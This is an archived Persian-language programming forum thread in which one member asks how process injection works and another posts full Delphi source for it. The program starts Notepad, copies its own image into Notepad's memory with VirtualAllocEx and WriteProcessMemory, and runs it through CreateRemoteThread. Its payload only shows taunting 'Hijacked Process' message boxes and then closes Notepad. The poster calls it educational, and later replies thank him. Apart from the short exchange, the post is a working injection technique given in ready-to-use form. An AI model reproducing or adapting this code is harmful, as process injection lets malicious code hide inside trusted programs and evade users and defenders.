PDA

View Full Version : Process Injection یک مثال .



ICEMAN
جمعه 06 خرداد 1384, 12:42 عصر
سلام ...............
من این موضوع رو توی قسمت امنیت نرم افزار دیدم حالا می خوام
کار با این تابع و توابع این چنینی رو یاد بگیرم کسی هست کمک کنه با مثال نمونه Source
یا هر جور که راحتید :oops:

Inprise
جمعه 06 خرداد 1384, 14:02 عصر
اطلاعات درج شده در بخش مذکور برای "یادگیری" کفایت میکنه ؛ بهر حال ؛ این کد رو برای تامین یکی از نیازهای ذکر شده در بحث مورد ذکر نوشته ام که انجام این وظیفه با استفاده از ساده ترین روش رو نشون میده ؛ کد جعلی برنامه در فضای آدرسی Notepad - پس از اجرای اون - اجرا میشه ؛ استفاده از این کد برای مقاصد غیر آموزشی مجاز نیست و برای تولید نرم افزار به سوالات مطرح شده جواب نمیدم ، لیکن سوالات فنی که مربوط به درک عملکرد کد باشن تو بخش مربوطه جواب داده خواهند شد .

:)


{
Process Injection by Inpy - Soul
inprise@gmail-dot-com
Greets to soul for giving me the imagebase idea.
}

program Project1;

{$IMAGEBASE $13140000}

uses
Windows;
//Injected entrypoint
function Main(dwEntryPoint: Pointer): longword; stdcall;
begin
{now we are in notepad}
LoadLibrary('kernel32.dll');
LoadLibrary('user32.dll');
MessageBox(0, 'Hello, now I am in the memory of another process!', 'Hijacked Process', 0);
MessageBox(0, 'Now we can do anything we want. :)', 'Hijacked Process', 0);
MessageBox(0, 'You can even delete the original exe and these message boxes will still be here.', 'Hijacked Process', 0);
MessageBox(0, 'See?', 'Hijacked Process', 0);
MessageBox(0, 'Told you.', 'Hijacked Process', 0);
MessageBox(0, 'Ok, bye.', 'Hijacked Process', 0);
MessageBox(0, 'Hails to Barnamenevis.org fellas ', 'Hijacked Process', 0);
MessageBox(0, 'I''ll close notepad for you ;)', 'Hijacked Process', 0);
ExitProcess(0);
Result := 0;
end;
//Injection
procedure Inject(ProcessHandle: longword; EntryPoint: pointer);
var
Module, NewModule: Pointer;
Size, BytesWritten, TID: longword;
begin
Module := Pointer(GetModuleHandle(nil));
Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE);
NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten);
CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID);
end;

var
ProcessHandle, PID: longword;
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;

begin
{lets make a new process}
CreateProcess(nil, 'notepad', nil, nil, False, 0, nil, nil, StartupInfo, ProcessInfo);
{give it some time to wake up}
Sleep(500);
{and hijack it!}
GetWindowThreadProcessId(FindWindow('Notepad', nil), @PID);
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
Inject(ProcessHandle, @Main);
CloseHandle(ProcessHandle);
{we have a copy of ourself running in notepad so we can exit}
end.
//go home kid :-)

ICEMAN
جمعه 06 خرداد 1384, 18:45 عصر
در همین حد هم خوبه باز مزاحم میشم

ICEMAN
دوشنبه 09 خرداد 1384, 00:46 صبح
من نگرفتم کار این برنامه چی بود NotPad اجرا کرد بعد هم یه Error و تموم

یه توضیح بی زحمت

Hamid_PaK
شنبه 16 اردیبهشت 1385, 05:53 صبح
؟؟؟؟ بسیار عالی و قابل ستایش در حد بیسوادی من ...

یا حق !!!

Touska
شنبه 16 اردیبهشت 1385, 06:40 صبح
چقدر دنبال این نمونه گشتم و Tanx